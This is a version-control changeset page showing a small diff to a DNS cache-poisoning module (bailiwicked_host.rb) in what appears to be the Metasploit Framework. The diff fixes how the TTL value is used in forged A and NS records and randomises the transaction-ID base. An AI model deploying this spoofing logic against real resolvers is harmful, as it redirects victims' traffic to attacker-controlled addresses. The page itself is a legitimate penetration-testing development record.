Changeset 5586

Show
Ignore:
Timestamp:
07/23/08 20:15:12 (1 month ago)
Author:
hdm
Message:

Correct the TTL variable usage (was getting squished and then setting way too low TTLs)

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_host.rb

    r5585 r5586  
    132132                recons   = datastore['RECONS'] 
    133133                xids     = datastore['XIDS'].to_i 
    134                 ttl      = datastore['TTL'].to_i 
    135                 xidbase  = rand(4)+2*10000 
     134                newttl   = datastore['TTL'].to_i 
     135                xidbase  = rand(65536) 
    136136 
    137137                domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] 
     
    190190                                                end 
    191191                                        end 
     192                                         
    192193                                end 
    193194                        end until not cached 
     
    268269                         
    269270                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) 
    270                         req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) 
    271                         req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) 
    272                         req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) 
     271                        req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address)) 
     272                        req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) 
     273                        req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address)) 
    273274                        req.qr = 1 
    274275                        req.ra = 1